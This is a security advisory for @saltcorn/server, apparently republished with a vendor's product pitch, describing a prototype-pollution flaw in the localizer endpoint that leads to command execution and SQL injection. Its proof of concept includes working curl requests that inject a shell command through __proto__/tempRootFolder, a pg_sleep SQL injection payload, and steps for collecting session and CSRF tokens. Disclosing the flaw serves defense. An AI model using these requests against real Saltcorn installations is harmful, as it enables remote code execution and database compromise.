GHSA-78p3-fwcq-62c2
HIGH@saltcorn/server Remote Code Execution (RCE) / SQL injection via prototype pollution by manipulating `lang` and `defstring` parameters when setting localizer strings
Blast Radius
Weekly download volume for affected packages — a proxy for how broadly this vulnerability is deployed.
@saltcorn/servernpmDescription
Summary
The endpoint /site-structure/localizer/save-string/:lang/:defstring accepts two parameter values: lang and defstring. These values are used in an unsafe way to set the keys and value of the cfgStrings object. It allows to add/modify properties of the Object prototype that result in several logic issues, including:
- RCE vulnerabilities by polluting the
tempRootFolderproperty - SQL injection vulnerabilities by polluting the
schemaproperty when usingPostgreSQLdatabase.
Details
router.post(
"/localizer/save-string/:lang/:defstring",
isAdmin,
error_catcher(async (req, res) => {
const { lang, defstring } = req.params; // source
const cfgStrings = getState().getConfigCopy("localizer_strings");
if (cfgStrings[lang]) cfgStrings[lang][defstring] = text(req.body.value); // [1] sink
else cfgStrings[lang] = { [defstring]: text(req.body.value) };
await getState().setConfig("localizer_strings", cfgStrings);
res.redirect(`/site-structure/localizer/edit/${lang}`);
})
);
PoC
Setup:
- set
SALTCORN_NWORKERS=1before starting thesaltcornserver (to easily observe the behavior of the PoC)
SALTCORN_NWORKERS=1 saltcorn serve
- make sure to use PostgresSQL backend
- login with a user with admin permission
RCE
This PoC demonstrates how to escalate the Prototype Pollution vulnerability to change the behavior of certain command executed.
- check that the file that will be created does not exists:
cat /tmp/RCE
cat: /tmp/RCE: No such file or directory
- pollute the
Object.prototypewith atempRootFoldervalue set to;echo+"rce"|tee+/tmp/RCE;by sending the following request *** :
curl -i -X $'POST' \
-H $'Host: localhost:3000' \
-H $'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' -H $'Accept: */*' \
-H $'Origin: http://localhost:3000' \
-H $'Connection: close' \
-b $'loggedin=true; connect.sid=VALID_CONNECT_SID_COOKIE' \
--data-binary $'_csrf=VALID_csrf_Value&value=;echo+"rce"|tee+/tmp/RCE;' \
$'http://localhost:3000/site-structure/localizer/save-string/__proto__/tempRootFolder'
visit http://localhost:3000/plugins/new
- enter the following fields:
- Name:
test - Source:
git - other fields blank
- click
Create
- Name:
- you will get an error but the command
echo "rce" | tee /tmp/RCEwill be executed - to verify:
cat /tmp/RCE
rce
The RCE occurs because after the previous curl request, the tempRootFolder property is set to ;echo+"rce"|tee+/tmp/RCE; that is later used to build the shell commands.
class PluginInstaller {
constructor(plugin, opts = {}) { // opts will have the tempRootFolder property set with dangerous values // [2]
[...]
this.tempRootFolder =
opts.tempRootFolder || envPaths("saltcorn", { suffix: "tmp" }).temp; // [3]
[...]
this.pckJsonPath = join(this.pluginDir, "package.json");
this.tempDir = join(this.tempRootFolder, "temp_install", ...tokens); // [4]
[...]
}
[...]
}
SQL Injection
This PoC demonstrates how to escalate the Prototype Pollution vulnerability to change the behavior of certain SQL queries (i.e SQLi).
- visit
http://localhost:3000/tableto check the page returns some results (no errors) - pollute the
Object.prototypewith a schema value set to"(just to create an exception in the query that will be executed to demonstrate the issue) by sending the following request *** :
curl -i -X $'POST' \
-H $'Host: localhost:3000' \
-H $'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' -H $'Accept: */*' \
-H $'Origin: http://localhost:3000' \
-H $'Connection: close' \
-b $'loggedin=true; connect.sid=VALID_CONNECT_SID_COOKIE' \
--data-binary $'_csrf=VALID_csrf_Value&value=\"' \
$'http://localhost:3000/site-structure/localizer/save-string/__proto__/schema'
- visit again
http://localhost:3000/tablebut this time an SQL error will appear:
syntax error at or near "" order by lower(""
NOTE: Another payload to use as value could be pg_user"+WHERE+1=1+AND+(SELECT+pg_sleep(5))+IS+NOT+NULL+--
The SQL injection occurs because after the previous curl request, the schema property is set to ".
const select = async (tbl, whereObj, selectopts = {}) => { // [2] selectopts
const { where, values } = mkWhere(whereObj);
const schema = selectopts.schema || getTenantSchema(); // [3] selectopts.schema
const sql = `SELECT ${
selectopts.fields ? selectopts.fields.join(", ") : `*`
} FROM "${schema}"."${sqlsanitize(tbl)}" ${where} ${mkSelectOptions( // [4] schema
selectopts,
values,
false
)}`;
sql_log(sql, values);
const tq = await (client || selectopts.client || pool).query(sql, values);
return tq.rows;
};
*** Retrieve valid values for the connect.sid (VALID_CONNECT_SID_COOKIE) and _csrf values (VALID_csrf_Value) :
- open the browser developer console and go to the
Networktab - visit
http://localhost:3000/site-structure/localizer/add-lang - add a language (
Name: test,Locale: test) and clickSave - under the
Networktab, filter forsave-langand check the request parameters (HeadersandPayload/Requesttabs) - copy the values for
connect.sidand_csrfand paste in the curl command above
Impact
Remote code execution (RCE), Sql injection and business logic errors.
Recommended Mitigation
Check the values of lang and defstring parameters against dangerous properties like __proto__, constructor, prototype.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | @saltcorn/server | all versions | 1.0.0-beta.14 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @saltcorn/server. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update @saltcorn/server to 1.0.0-beta.14 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-78p3-fwcq-62c2 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-78p3-fwcq-62c2 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-78p3-fwcq-62c2. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-78p3-fwcq-62c2 in your dependencies?
O3 detects GHSA-78p3-fwcq-62c2 across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.